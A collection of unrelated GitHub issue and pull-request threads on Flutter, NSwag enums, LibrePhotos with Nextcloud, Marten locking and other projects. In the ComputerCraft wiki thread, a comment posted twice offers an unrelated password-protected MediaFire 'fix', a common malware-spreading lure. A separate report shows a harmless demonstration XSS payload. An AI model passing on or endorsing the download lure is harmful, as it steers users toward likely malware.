[bug]:  FirebaseCommandException: An error occured on the Firebase CLI when attempting to run a command

Is there an existing issue for this?

[X] I have searched the existing issues.

CLI Version
0.3.0-dev.16
Firebase Tools version
11.24.0
Flutter Doctor Output
[√] Flutter (Channel stable, 3.3.4, on Microsoft Windows [version 10.0.22621.1265], locale fr-FR)
• Flutter version 3.3.4 on channel stable at C:\Users\engue\fvm\versions\3.3.4
• Upstream repository https://github.com/flutter/flutter.git
• Framework revision eb6d86ee27 (5 months ago), 2022-10-04 22:31:45 -0700
• Engine revision c08d7d5efc
• Dart version 2.18.2
• DevTools version 2.15.0
[√] Android toolchain - develop for Android devices (Android SDK version 33.0.2)
• Android SDK at C:\Users\engue\AppData\Local\Android\sdk
• Platform android-33-ext4, build-tools 33.0.2
• Java binary at: C:\Users\engue.jdks\corretto-17.0.6\bin\java
• Java version OpenJDK Runtime Environment Corretto-<IP_ADDRESS>.1 (build 17.0.6+10-LTS)
• All Android licenses accepted.
[√] Chrome - develop for the web
• Chrome at C:\Program Files\Google\Chrome\Application\chrome.exe
[√] Visual Studio - develop for Windows (Visual Studio Community 2022 17.5.0)
• Visual Studio at C:\Program Files\Microsoft Visual Studio\2022\Community
• Visual Studio Community 2022 version 17.5.33414.496
• Windows 10 SDK version 10.0.19041.0
[!] Android Studio (version 2022.1)
• Android Studio at C:\Users\engue\AppData\Local\JetBrains\Toolbox\apps\AndroidStudio\ch-0\221.6008.13.2211.9514443
• Flutter plugin version 72.1.2
• Dart plugin version 221.6096
X Unable to find bundled Java version.
• Try updating or re-installing Android Studio.
[√] IntelliJ IDEA Ultimate Edition (version 2022.3)
• IntelliJ at C:\Users\engue\AppData\Local\JetBrains\Toolbox\apps\IDEA-U\ch-0\223.8617.56
• Flutter plugin version 72.1.4
• Dart plugin version 223.8617.8
[√] Connected device (3 available)
• Windows (desktop) • windows • windows-x64    • Microsoft Windows [version 10.0.22621.1265]
• Chrome (web)      • chrome  • web-javascript • Google Chrome 110.0.5481.178
• Edge (web)        • edge    • web-javascript • Microsoft Edge 109.0.1518.78
[√] HTTP Host Availability
• All required HTTP hosts are available
! Doctor found issues in 1 category.
Description
$> flutterfire configure
i Found 0 Firebase projects.
FirebaseCommandException: An error occured on the Firebase CLI when attempting to run a command.
COMMAND: firebase --version
ERROR: The FlutterFire CLI currently requires the official Firebase CLI to also be installed, see https://firebase.google.com/docs/cli#install_the_firebase_cli for how to install it.
$> firebase --version
11.24.0
$> node -v
v18.14.2
$> npm -v
9.5.1

Steps to reproduce
run commands above
Expected behavior
flutterfire normal outputs
Screenshots
No response
Additional context and comments
No response

Tested with dev.15 or firebase 11.23.1 but issue persist.

A potential fix is to not download firebase tools through npm on windows but with the standalone binary. And then rename this binary to firebase.exe.
https://firebase.tools/bin/win/instant/latest

i'm under windows. The solution was to define JAVA_HOME and to add the path of JAVA_HOME/bin inside your PATH.
I've some trouble to run flutter_cli from a custom repo (the readme didn't explain how to recompile). I can spent time to fix this CLI but i need help to run it and dev it locally.

That is an unusual fix, thanks for letting us know. Closing out as it would have to be related to the Firebase CLI as opposed to the FlutterFire CLI.


Correct the name of the MNIST dataset files.

Thanks for the PR.
However, if you run the command gunzip train-images-idx3-ubyte.gz you will get train-images-idx3-ubyte as output.  Not train-images.idx3-ubyte.  Although some decompression programs other than gunzip do produce train-images.idx3-ubyte.  But most users use gunzip, so the current names are the preferred ones.

Although, if you want to change the PR so that it looks for both styles of filename that would be good :)

Looks good, thanks for the PR :)


Remove Inflector

Use simple pluralizer (a Rust port of a popular JavaScript package plur minus the irregular and case matching)
Duplicate the code in kube-derive without the special casing because it's short enough and didn't want to make this public. If necessary, I can publish the version in kube-derive as a separate crate.

This may be a breaking change if a user is using some kind that results in different plural.
Closes #470.

not sure if this is worth a line in the CHANGELOG. It's another potential breaking change, but very unlikely.

Added some special cases from the upgraded dynamic_api example so it's now:
    if word == "endpoints" || word == "endpointslices" {
        return word.to_owned();
    } else if word == "nodemetrics" {
        return "nodes".to_owned();
    } else if word == "podmetrics" {
        return "pods".to_owned();
    }

I didn't see EndpointSlices kind in swagger.json. It had EndpointSlice kind and endpointslices path which I included in the test. Inflector failed that because of a buggy regex producing endpointsliceice.


Fab: property to show/hide/transitTo Fab

I'd like to have the property of Fab which would show/hide the Fab by following animation guidelines of material design
To handle transitions from one to other Fabs it could just allow to transit to something else.
The new instance could be another Fab component or null.

To appear would transit null to Fab
It could transit from Fab to Fab like in this gif
It could transit from Fab to null to disappear

[x] This is not a v0.x issue.
[x] I have searched the issues of this repository and believe that this is not a duplicate.

How is this different to our demo? https://material-ui.com/demos/buttons/#floating-action-buttons

level of abstraction. Demo uses
          <Zoom
            key={fab.color}
            in={this.state.value === index}
            timeout={transitionDuration}
            style={{
              transitionDelay: `${this.state.value === index ? transitionDuration.exit : 0}ms`,
            }}
            unmountOnExit
          >
            <Fab className={fab.className} color={fab.color}>
              {fab.icon}
            </Fab>
          </Zoom>

to make it happen. What I'd like to have something like e.g. this:
            <FabAnimated current={this.state.currentFab}>
              <Fab color={'primary'} />
              <Fab color={'secondary'} />
            </FabAnimated>

this.state.currentFab is index of Fab to display.  If null  - none displayed.
When this Zoom was added? Haven't used animation helpers yet, will take a look on what's available already. Maybe what i was thinking about is already done or it's easy to add some helper component on my own to have it.
Thanks

When this Zoom was added?

In v1.0.0: https://v1-0-0.material-ui.com/utils/transitions/

I'm closing, it's not an area of priority for us, if you want to improve the API, I think a third party library would be awesome.


Feature Request: Toggle only showing players active in scene.

I love being able to use the party overview as the DM, but we frequently use scenes as reference overland maps, and the players don't have active tokens there.  I'd love to be able to always see my player's overview even when they're not active on my current scene.

If you click twice over the Filter Button (the one besides "Name"), you'll get all owned characters in the game despite the scene. Is that what you're looking for or are you looking for something different?

That's exactly what I was looking for.   Closing this issue, thank you!

Well, after playing with this.. it's kind of an all or nothing filter.  It would be great to have a checkbox for "active in scene" only or something, so I can still use the "hide actor" toggles.


Fix step 9 to specifically create a seperate ssl profile from

the system default.  This aligns with certz description also for vendor implementations which disallow the modification of the vendor provided default

It looks like we have converged on the changes in this PR and the remaining open items are related to certz repo, correct? If so, how about we merge this PR and continue iterating in a separate PR sent to certz repo? If all vendors could also please click approve button on this PR, that would also be very helpful :) The changes look good to me, so I am happy to approve once all vendors confirm that these changes are sensible/feasible to support.

The addition of ssl_profile_id in EnrollZ is ok with us. Could you please also validate the entire updated workflow described in b/318019628#comment19 so we can proceed with the development?


Possibly excessive locking in the upsert function

I continue my journey with Marten and the most recent part of it is a simulation of 1000 concurrent users inserting 1 document each. The first run on an empty database works OK but then all subsequent runs end up sooner or later with TimeoutException and  "Timeout while getting a connection from pool". This problem goes away when I removeLOCK TABLE {TableName} IN SHARE ROW EXCLUSIVE MODE; from the upsert function. PostgreSQL docs indicate that SQL dml commands acquire required locks themselves (http://www.postgresql.org/docs/9.1/static/explicit-locking.html). I checked the Git history but did not find anything there.
Is there a specific reason why this lock is acquired manually?
Test case: StoreLotsOfData - https://github.com/pawelpabich/random-marten-hacks/blob/master/MartenPlayground/Program.cs
VS

PGAdmin

Are you on Postgres 9.5 by chance? If you are, can you switch the UpsertStyle = "Standard" to take advantage of the built in upsert support and see how that's different.
@jeffdoolittle  What do you think about this one?

@jeremydmiller yes I'm. I changed the option to Standard and I'm not getting timeouts. Thanks!

@pawelpabich I'm gonna keep this one open to make sure we do a little more research on 9.4 mode;)

We went to the 9.5 style of native upsert functions being the default, and I think that's going to solve this problem just fine. I'm closing this.


Very strange sorting logic

Bug description
It appears that when selecting Sort by -- Name, the files in the folder are sorted by a rather curious logic when filenames contain numbers.
Steps to reproduce

Basically prepare a folder with files whose names contain numbers.

Expected behavior
Files sorted in an identical manner as in the conventional explorer.
Screenshots
Please see the below example (the prefix for all files are identical)

Ideally you would expect to sort the files (in ascending) so that we have:
S03E01
S03E02
...
S05E07 (right now it's down below)
...
S07E22 (right now it's somehow in the front)
...
S10E01
S10E02
...

Desktop (please complete the following information):

OS Version: Windows 10 20H2 19042.423
App version: v0.18.0

After restarting the app it became normal again.
I am still unsure what caused this temporary error in sorting the files. But given the behavior, it seems to be just a minor glitch.
I'll leave the decision of whether to pursue this issue or closing it to the contributors. Thank you.


Check for null before adding rows in nextPage

There is occasionally a race condition where nextPage is called before the initial query call is complete. The following line needs to check for null before calling concat. If it is null, the rows value can instead be set.
$scope.applicants.rows = $scope.applicants.rows.concat(rows);

added:
if ($scope.applicants.rows == null) {
$scope.applicants.rows = rows;
} else {
$scope.applicants.rows = $scope.applicants.rows.concat(rows);
}
hopefully this fixes it. will re-open if problem comes back


Datepicker only accept text that matches format

If someone is using a datepicker with popup, like here:
http://angular-ui.github.io/bootstrap/#/datepicker
Is it possible to mark the field as invalid until they have formatted the date like provided?  For instance, if I am typed:
10
It treats this as a valid date (october 1, 2001) .  I would rather treat this as invalid, until I completed by typing of my date like:
10/20/2014

Ahh. Seems like I haven't noticed this issue and also created a similar PR for this. https://github.com/angular-ui/bootstrap/pull/3288

This should now be fixed in master.


I like the idea :dancers: But since files is a standard directory for ansible I would prefer to move trash into that directory so it would be easier to refer. Maybe there we should create active and trash?

@jandudulski I changed the directory structure, but don't know how to create appropriate ansible task.

After merge we should deploy this code to Heroku.


Fix for CB-10625

getDocumentId was crashing in some cases.
Now, in case it crashes, it will use the original uri to query.

OK, this breaking the CI could mean anything.


Add a wiki: ComputerCraft Wiki

Link to origin wiki: https://minecraftcomputercraft.fandom.com/wiki/Minecraft_ComputerCraft_Wiki
Link to destination (independent) wiki: https://www.computercraft.info/wiki/Main_Page

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

While it's the better source, the computercraft.info wiki appears to be a bit defunct and uneditable. The www.computercraft.info parent site is dead, and the new go-to site for info seems to be tweaked.cc.


Sonoff SNZB-02D support

Hi everyone. I have the snzb-02d temperature and humidity sensor, the one with the display. sonofflan found me a binary sensor entity that is useless to me, while it works normally in the EWeLink app. I checked the official page of the device which says that with the official EWeLink addon for home assistant it works perfectly. Would it be possible to fix this? I have more than 20 devices connected with sonofflan and I don't want to switch to the official addon.
Thank you

I have the same issue. I have 6x sonoff SNZB-02D temperature and humidity sensors connected via sonoff ZB Bridge-P. The only data that appears to be available from the sensor entities is the date and time.
I have tried the official EWeLink addon but that does not support the ZB Bridge-P. Would be great if you could get these devices working with all temp/humidity/battery data available.

I have just redownloaded the master (as indicated in this thread https://github.com/AlexxIT/SonoffLAN/issues/1166) and I now have sensors for Battery, Temp & Humidity... Thank you :-)

It works for me too
Thanks

I have just redownloaded the master (as indicated in this thread #1166) and I now have sensors for Battery, Temp & Humidity... Thank you :-)

Hi. Can you please guide how I can re-download the master?


Reorganize GenerateQrCode for better clarity

Within GenerateQrCode, moves blocks of code into local functions to enhance readability while scoping temporary variables.
No changes were made to the operational code.

For easier comparison in GitHub for this PR, turn on 'hide whitespace' and use split view


Test and evaluate the quality of response after single HTML ingestion

After the data is ingested along with single HTML ingestion we need to run the same test plan again and evaluate the results.
Depends on: #164

tested this only observation was that source count has increased, however, as discussed with @sunank200 this was related to https://github.com/astronomer/ask-astro/pull/247, we should be ok to close this
Results


Update and rename CAMARA_common.json to CAMARA_common.yaml

What type of PR is this?
Add one of the following kinds:

correction

What this PR does / why we need it:
changes json to yaml
extends file with device schema
conforms to oas
Which issue(s) this PR fixes:

Fixes camaraproject/Commonalities#106 camaraproject/ReleaseManagement#15 camaraproject/Commonalities#105
Special notes for reviewers:
Changelog input
 release-note

Additional documentation
This section can be blank.
docs

@jlurien @bigludo7 Would you have a view on the "extends file with device schema" part of this PR?

CAMARA_common.json is referenced in section 7 of API Design Guidelines.
Beside the the change of the link the text of this section may need the update to indicate the target content and usage of  CAMARA_common.yaml.

@rartych : Could you please create a new issue for your point above?

@bigludo7  @jlurien : Could you kindly review as suggested in the comment above to ensure that the device schema is as needed?

Ok from TEF side to PR 107 too

Merging as agreed.


NCP: Contribute cards scambled (Opera, Brave)

Initially reported by @xdamman
Test ID: TES1009631001567667576236858
Operating System: Windows 10
Browser: Opera 62, Brave browser
Resolution: 1024x768

I just tried on both Brave and Opera, the bug doesn't seem to be there anymore:


win: remove code that was there only to support Windows XP

Wait. Wasn't XP support just recently fixed? I know it's not supported, but maybe it shouldn't be willfully broken if people are still using it.

https://github.com/libuv/libuv/pull/1854 addressed that already. sorry

CI: https://ci.nodejs.org/view/libuv/job/libuv-test-commit/903/

Another CI (green on Windows): https://ci.nodejs.org/view/libuv/job/libuv-test-commit/907/
I think this is good to land.


Add Script for Buyback

Adds support for the new Buyback contracts
Adds price impact and slippage info as well

Merging this in, since the scripts have been tested. The failing CI tests aren't related to this PR


Link photos from NextCloud

Currently, the Nextcloud Client downloads all the pictures into its own folder.
r/selfhosted would like an option where the original photos are just linked and not downloaded. We would still create the thumbnails and create the tags, but when we open a picture a request goes to the Nextcloud server instead.
We use this client to download the images currently:
https://github.com/owncloud/pyocclient
As I don't think we want to share all pictures via a public link, we want to save the information about the path within the photo. We need a new attribute "nextcloud_address", where we can save the server link and this would signify that the media is on a nextcloud server.
We would only download the image temporarily to create the thumbnails and read the metadata. This should be handled here and here.
We have to change all functions where an original is accessed. This would be currently on "saving metadata to disk / saving favorites" here and "download images" here. We would also need to redirect the request when accessing videos, because we read the original for that here.

Great idea ! +1

Another implementation idea:
Instead of copying, if the two apps live on the same computer then LibrePhotos should take the NextCloud location for photos. If not on the same computer, then get a link to NextCloud’s photo address.

Is mounting librephotos data folder to nextcloud data folder working? Last time I tried it showed nothing in my admin page (there was no path to select).

This would be great! A further extension would be to use Nextcloud's sharing/permission system to share albums in librephotos, but that would require two-way integration.

This would be great! A further extension would be to use Nextcloud's sharing/permission system to share albums in librephotos, but that would require two-way integration.

I have Nextcloud and Librephotos running on the same machine. I've set the Librephotos photos directory to the photos directory of my Nextcloud data folder. It works but there's a number of reasons why I'm not a fan of this approach and I think something like this suggestion would really be a clean way to integrate the two services.

I think that the best practice to share files between multiple service is use file sharing like cifs, nfs or other network file system

Best practice in what context? The issue here is that Nextcloud generally expects its data directory to not be modified externally. A network filesystem would not solve this problem (unless you set it up as an external storage provider in Nextcloud and moved all your photos there, but that comes with a bunch of other problems and limitations). In fact for this use case it would generally make things worse: more moving parts means more things to potentially break and impact performance, for no gain.

Maybe you can use mount.davfs

@TheFehr Did this end up working well for you?

I have not been using it very much after setting up.
I don't even have tthe containers up and running at the moment.

Ok, thanks for the quick response. I'll give it a shot when i get a chance. Having the photos duplicated is chewing up a lot of storage and backup space!

In case anyone else is wondering, the method described by @TheFehr in  https://github.com/LibrePhotos/librephotos/issues/55#issuecomment-794065964 seems to work quite well. @TheFehr Thanks for providing the Gist. I had been trying to get that davclient container to work for weeks!

I finally got the time to try @TheFehr's suggestion but besides getting the librephotos-docker_davmount_1 instance to run and see within at /mnt/webdrive the photos from my nextcloudURL WebDAV, I can't get them to be processed/linked to Librephotos... @meichthys: Is there anything else I might be missing? Thanks

Got it working after I cleaned  ./librephotos directory and restarted librephotos-docker_backend_1 when the message "No connection to backend, try again latter" was showing after several minutes. Once I was able to log in, selected data directory again, the photo processing started!

After testing for some days https://github.com/LibrePhotos/librephotos/issues/55#issuecomment-794065964, to me it seems to be quite slow:

INFO:ownphotos:job 07c2cb52-...: geolocate: /data/imgs/IMG-20170730-WA0025.jpg, elapsed: 42.284343

INFO:ownphotos:job 07c2cb52-...: extract date time: /data/imgs/IMG-20170730-WA0025.jpg, elapsed: 84.896152

INFO:ownphotos:job 07c2cb52-...: add location to album dates: /data/imgs/IMG-20170730-WA0025.jpg, elapsed: 84.896853

INFO:ownphotos:job 07c2cb52-...: extract rating: /data/imgs/IMG-20170730-WA0025.jpg, elapsed: 123.172693

INFO:ownphotos:job 07c2cb52-...: extract video length: /data/imgs/IMG-20170730-WA0025.jpg, elapsed: 123.173287

INFO:ownphotos:job 07c2cb52-...: extract faces: /data/imgs/IMG-20170730-WA0025.jpg, elapsed: 123.611234

INFO:ownphotos:job 07c2cb52-...: image processed: /data/imgs/IMG-20170730-WA0025.jpg, elapsed: 123.645108

INFO:ownphotos:job 07c2cb52-...: handling image /data/imgs/IMG-20170730-WA0026.jpg

INFO:ownphotos:job 07c2cb52-...: generate thumbnails: /data/imgs/IMG-20170730-WA0026.jpg, elapsed: 0.237256

INFO:ownphotos:job 07c2cb52-...: calculate aspect ratio: /data/imgs/IMG-20170730-WA0026.jpg, elapsed: 0.263348

INFO:ownphotos:generated places365 captions for image /protected_media/thumbnails_big/154081351a3add7e57105ac3b8965a241.webp.

INFO:ownphotos:job 07c2cb52-...: generate caption: /data/imgs/IMG-20170730-WA0026.jpg, elapsed: 0.39006

INFO:ownphotos:job 07c2cb52-...: geolocate: /data/imgs/IMG-20170730-WA0026.jpg, elapsed: 44.677656

INFO:ownphotos:job 07c2cb52-...: extract date time: /data/imgs/IMG-20170730-WA0026.jpg, elapsed: 86.826832

INFO:ownphotos:job 07c2cb52-...: add location to album dates: /data/imgs/IMG-20170730-WA0026.jpg, elapsed: 86.827442

Fair to say that even though this time nextcloud and librephotos run in the same machine their network is independent (but it worked way faster with librephotos built-in Nextcloud support) . I might try to connect them locally if I run of out ideas as it will take too long to process al pics.

@munsuri Thanks for following up with your observations.
@derneuere Has there been any progress on linking to Nextcloud Photos in order to prevent duplication of the raw photos? Ive tried the alternatives but since i don't run Nextcloud & LibrePhotos on the same machine, the alternative options to duplicated photos is not very compelling.

Is there currently a recommended approach to pointing Librephotos to Nextcloud photos without having to duplicate the whole photo stash?

I used symlinks.

Is there currently a recommended approach to pointing Librephotos to Nextcloud photos without having to duplicate the whole photo stash?

I used symlinks.

This works well on a local machine, but many of us run nextcloud on a different machine.

This is an amazing idea! Rather than having the Photos / Videos duplicated in two different areas (especially on the same computer). Is there any updates on the implementation of this?


Implement WIZ_QUEST handler

I'm assuming the packet being referred to is the one sent by SaveEvent(), because WIZ_QUEST has many different subopcodes (many of which are not for 1.298, but I suspect the server is still using).
Ultimately, we need to implement this system in general to manage player quest states. The real question is, beyond showing them on the quest UI, what does it actually need to use them for?
The only thing I can recall offhand is for unlocking skills that require certain quests completed.

Need to implement:

[ ] Loading the list of quest states from the server (subopcode 1).
[ ] Updating quest states (subopcode 2).
[ ] Adding checks to disable skills when their required quest isn't completed, and unlocking them when they are.
anything else I can't think of that actually uses these quest states client-side


x/mobile: example ivy demo should not require a Go installation

The ")demo" special command runs an interactive demonstration of ivy's abilities, but only prints an error message about the lack of a Go compiler when on iOS.
Fix that. Might require a change to how the demo runs in ivy proper, but should be isolatable to mobile if that makes more sense.

CC @hyangah via https://dev.golang.org/owners

Actually it's probably my job to fix this.

@robpike does it work on macOS?


fix: supporting pipes in providers

closes #218

10.5.0 has been released and contains a fix for the issue.
Feel free to reopen the issue or to submit a new one if you meet any problems.


bug: cmdline cursor flickering

Did you check docs and existing issues?

[X] I have read all the LazyVim docs
[X] I have updated the plugin to the latest version before submitting this issue
[X] I have searched the existing issues of LazyVim
[X] I have searched the existing issues of plugins related to this issue

Neovim version (nvim -v)
0.10.1
Operating system/version
Macos 14.6.1
Describe the bug
Whenever I use the cmdline, the cursor flickers between the cmdline and the background tab.
Current setup is using wezterm + neovim. The issue also persisted on MacOS Terminal and iTerm2.

Steps To Reproduce

Use the cmdline by pressing :

Expected Behavior
There should be no flickering
Repro

Using lazy-starter with no additional config
My personal config https://github.com/dinhlongviolin1/nvim-lazy

I believe this is due to noice.nvim and you should report it there. You can try to disable noice.nvim to see if the problem still occurs to make sure the culprit is noice.nvim.

Yes you are right, it is because of the noice.nvim plugin
My fault for not finding duplicated issue #4287. I will close my issue in favor of that one.
Will keep using noice.nvim for the moment as it looks very nice. Hopefully the bug will be fixed soon.


DOM-based XSS vulnerability in the Get Things Done Activity

If you type HTML/CSS/JavaScript code as a to-do list item, it runs perfectly and can even be used to modify elements of the UI.
Here's how to replicate:
Open the "Get Things Done" Activity
Copy and paste the following as an item in the To-Do list, and enjoy watching the UI get ruined:
<style>*{background:red!important;border: 5px solid green!important; transition: all 0.5s; }*:hover{transform: scale(1.01)translateX(5px)}</style> <button style="color:white!important;background:black!important;" onclick="alert('Hello World')">Click Me!</button>

Here's how I think this can be fixed:
When enter is pressed, use JavaScript to generate an iframe whose contents will be the text (or code) entered in the textarea. This will make sure the styles are applied only to what's there inside the box and not what's in the rest of the UI.
This should help in the implementation:
https://www.tutorialrepublic.com/faq/how-to-insert-html-content-into-an-iframe-using-jquery.php
https://www.tutorialrepublic.com/codelab.php?topic=faq&file=jquery-inject-html-into-an-iframe-from-the-textarea

Nice.

Closing the issue, since it's fixed.


Crash on boot: mekanism/common/tile/TileEntitySalinationController

I am attempting to update my modpack and would love your v8 but I get this error everytime I try.  Any word what I am missing?
http://paste.ee/p/NqH0B

EnderIO integration issue

Oh alright, thank you for the quick reply!! Is this something on the EIO side that I need to wait for?

They should have some kind of dev build out, but in the case they don't, I know for sure that it has already been fixed on their end in development.

Oh alright thank you for your fantastic mod!

Thanks for reporting!


How to generate enums along with the int -> string mapping

I would like to show the enum with the int value and string.
I find a solution here, but it needs another library Swashbuckle.Core
https://stackoverflow.com/questions/36452468/swagger-ui-web-api-documentation-present-enums-as-strings
When I check the test code in source, I find https://github.com/RSuter/NSwag/blob/master/src/NSwag.SwaggerGeneration.WebApi.Tests/App_Start/SwaggerConfig.cs
What does it mean?Can I use NSwag and  Swashbuckle at the same time?
Currently I am using NSwag with Owin,and the configuration is not GlobalConfiguration.Configuration. And I tried with the solution from stackoverflow, but it did not work.

Swashbuckle is another swagger library and you should only use one to generate a spec... to enable string enums, set add a new serializer settings object in SerializerSettings with a global StringEnumConverter

Sorry, I don't understand.
What did you mean by  a global StringEnumConverter?
I have already tried https://github.com/RSuter/NJsonSchema/wiki/JsonSchemaGenerator#integer-vs-string-enumerations
But it can only show integer value or string enum.
What I want is the integer with string enum. The following picture is from https://stackoverflow.com/questions/36452468/swagger-ui-web-api-documentation-present-enums-as-strings I mentioned before.

@RSuter  Could you explain about the global StringEnumConverter you mentioned before?

See https://github.com/RSuter/NSwag/issues/1234#issuecomment-470519135 (same problem?)

@RSuter  I don't think so.
And that issue make me confused, why that guy ask question about Swashbuckle?
I did not want to use Swashbuckle, and you have told me

Swashbuckle is another swagger library and you should only use one to generate a spec

My problem is how to generate the enum with int value and string mapping by NSwag.
Previously, you are talking about

to enable string enums, set add a new serializer settings object in SerializerSettings with a global StringEnumConverter

However, I can not understand it.   a new serializer settings object with a global StringEnumConverter
Could you give me a piece of code about it?

Hi @RSuter ,
Any update?

int value and string mapping by NSwag

Nswag will generate this by default (the x-enumNames property) but is a custom property and only understood by the nswag client gens - you cannot express this with vanilla swagger/openapi

@RSuter  I am using the NSwag  according this document https://github.com/RSuter/NSwag/wiki/OWIN-Middleware

app.UseSwaggerUi3(configure): Registers the Swagger generator and Swagger UI v3.x on the given routes

Is this  nswag client? If it's not ,then what is it?

@RSuter  Sorry to disturb you again, could you explain the question above?

UseSwaggerUi3 only serves the Swagger UI, UseSwagger registers the swagger generator and then there are client generators which are usually used via NSwagStudio or CLI...

@RSuter  As you mentioned before,

Nswag will generate this by default (the x-enumNames property) but it is a custom property and only understood by the nswag client gens - you cannot express this with vanilla swagger/openapi\

Then which method I supposed to use to make use of the nswag client gens?

Hi @RicoSuter ,
Any update?

What I want is the integer with string enum

If I understand correctly, the only thing you want is to have this description with the int/string mappings in the Swagger UI?

Not sure, I did not see how the default UI works.  Currently, I am using UseSwaggerUi3.
You can just told me how to make the enum show as expected.

So you just want to see tjis in the web ui?

What did you mean by tjis? Sorry for my poor English.

tjis = this
Sorry, i do not understand your problem

the only thing you want is to have this description with the int/string mappings in the Swagger UI?
Yes, I want to see enum with int/string in Swagger UI

So you only want that this description field in the ui is shown with the mappings?

yes, exactly

Ok 🙂
This feature is not availble yet, but it would be quite simple to implement. The idea is to put this behind a setting, eg GenerateEnumMappingDescription Which only applies for int enums and which will generate this description. Does this sound good?
Another better solution is to add support for x-enumNames to the Swagger UI project so that the ui just shows the names in the dropdown. Would this be a better solution for you?

Thanks for your suggestion, I will try to figure it out.

I can implement that... what do you think about my suggestions?

support for x-enumNames to the Swagger UI project so that the ui just shows the names in the dropdown

I agree with you, this solution might be better

Ok, as soon as i’m on a pc i’ll create issues in the swagger ui and redoc projects and add the new setting to njsonschema/nswag.

Created new issues in Swagger UI and ReDoc (was already there).

Added GenerateEnumMappingDescription in NJS, needs to be added as CLI/UI settings in NSwag

Ref: https://github.com/mozilla-services/react-jsonschema-form/pull/1054

I am also looking to do something similar to this and I haven't been able to find any solutions.  I'm working on an app that consumes an API.  I've added generated nswag interfaces from our API and it's working great but I am having an issue with enums.  The app currently uses them as integers and I'm unable to convert them all to strings as it would be a massive refactoring effort.
I have an enum in my API that looks like:
public enum NotificationType {
        Unknown = 0,
        InAppMessage = 1,
        WinnerNotification = 2,
        PointsWinnerNotification = 3,
        ConsecutiveDays = 4,
}

And I've only been able to generate
export enum NotificationType {
    _0 = 0,
    _1 = 1,
    _2 = 2,
    _3 = 3,
    _5 = 4,
}

or
export enum NotificationType {
        Unknown = "Unknown",
        InAppMessage = "InAppMessage",
        WinnerNotification = "WinnerNotification",
        PointsWinnerNotification = "PointsWinnerNotification",
        ConsecutiveDays = "ConsecutiveDays",
}

But I need a hybrid of the two such as
export enum NotificationType {
        Unknown = 0,
        InAppMessage = 1,
        WinnerNotification = 2,
        PointsWinnerNotification = 3,
        ConsecutiveDays = 4,
}

Is anyone able to point me in the right direction for this?

I don't actually use NSwag for typescript generation but rather ng-openapi-gen: https://www.npmjs.com/package/ng-openapi-gen
That generator utilizes the x-enumNames member of the spec to generate:
export enum NotificationType {
        Unknown = 0,
        InAppMessage = 1,
        WinnerNotification = 2,
        PointsWinnerNotification = 3,
        ConsecutiveDays = 4,
}

I'm considering forking it to modify the enum template to generate in our project's style though:
import { Opaque } from 'ts-essentials';

export const SigningMethod = {
  Paper: 'paper' as Opaque<'paper', 'SigningMethod'>,
  Electronic: 'electronic' as Opaque<'electronic', 'SigningMethod'>,
  Transcribed: 'transcribed' as Opaque<'transcribed', 'SigningMethod'>,
} as const;

export type SigningMethod = typeof SigningMethod[keyof typeof SigningMethod];

The arch is easy to understand, it loads the spec and then runs a bunch of handlebars templates over the various components: https://github.com/cyclosproject/ng-openapi-gen

@ryan4664  I'm using nSwag to generate specification and then open-api to generate TS client. For my case I needed to add x-enum-varnames data extension to specification, so client can be generated properly https://openapi-generator.tech/docs/templating/#enum
In order to do that I had to implement custom operation processor  public class NSwagProcessor : IOperationProcessor and then implement Process method:
        JsonSchema schema = JsonSchema.FromType<YourType>();
        if (schema.ExtensionData == null)
        {
            schema.ExtensionData = new Dictionary<string, object>();
        }

        string[] enumerationNames = new string[schema.EnumerationNames.Count];
        schema.EnumerationNames.CopyTo(enumerationNames, 0);
        schema.ExtensionData.Add("x-enum-varnames", enumerationNames);

        if (context.Settings.TypeMappers.Any(t => t.MappedType == typeof(YourType)) == false)
        {
            context.Settings.TypeMappers.Add(new ObjectTypeMapper(typeof(YourType), schema));
        }

        return true;
    }
}`

in AddOpenApiDocument configuration method
settings.OpearationProcessors.Add(new NSwagProcessor());
This should do the trick for openapi-gen, but I can't be sure if it's the right solution for other generators. Tweaking other nSwag options and adding StringEnum serializer didn't work for me.

is there a formal solution to this? we'd like to see the option for enums to be converted to string values ->
export enum NotificationTypeCurrent {
_0 = 0,
_1 = 1,
_2 = 2,
_3 = 3,
_5 = 4,
}
export enum NotificationTypeDesired {
EnumString1,
EnumString2,
EnumString3,
EnumString4,
}

With NSwag and System.Text.Json for me works:
services.AddControllersWithViews()
       .AddJsonOptions(o => o.JsonSerializerOptions.Converters.Add(new JsonStringEnumConverter()))

and
services.AddOpenApiDocument(configure =>
{
       ...
       configure.GenerateEnumMappingDescription = true;    //for enums as string names
});

It accepts int-s and strings, generates enums in open-api and .ts client with names and show enums with names in SwaggerUI
export enum PaymentDirection {
    Input = "Input",
    Output = "Output",
}

Hi,
It does not work for me using newtonsoft, and only, or the numbers (without adding StringEnumConverter), or the enum names show up (when adding StringEnumConverter), on the UI.

It does not work for me using newtonsoft

Yes, it's solution with System.Text.Json

@ramax495, thanks for taking your time to answer it. Is there any plan to support the Newtonsoft library for this?

@RicoSuter I get the following compilation error when trying to set options.GenerateEnumMappingDescription = true; in the configure lambda passed to the AddOpenApiDocument method (as mentioned above). Was the GenerateEnumMappingDescription marked as obsolete and removed after this conversation? I'm using v14 of NSwag.AspNetCore
'AspNetCoreOpenApiDocumentGeneratorSettings' does not contain a definition for 'GenerateEnumMappingDescription' and no accessible extension method 'GenerateEnumMappingDescription' accepting a first argument of type 'AspNetCoreOpenApiDocumentGeneratorSettings' could be found (are you missing a using directive or an assembly reference?)

@harindaka look at the sources:
https://github.com/RicoSuter/NSwag/blob/6858a7ecc8b461c469341093349166f7ff37ef4a/src/NSwag.Generation/OpenApiDocumentGeneratorSettings.cs#L30
Property SchemaSettings was added. So try:
services.AddOpenApiDocument(configure =>
{
       ...
       configure.SchemaSettings.GenerateEnumMappingDescription = true;
});


Test failure while attempting to install BioPerl6 with zef.

===> Testing: BioPerl6:ver<0.0.1>
# Failed test 'is-fuzzy'
# at t/Location/Simple.t line 28
# Failed test 'is-fuzzy'
# at t/Location/Simple.t line 36
# Looks like you failed 2 tests of 35

------------- WARNING -------------
MSG: foo
-----------------------------------

------------- WARNING -------------
MSG: foo
-----------------------------------

------------- WARNING -------------
MSG: foo
-----------------------------------

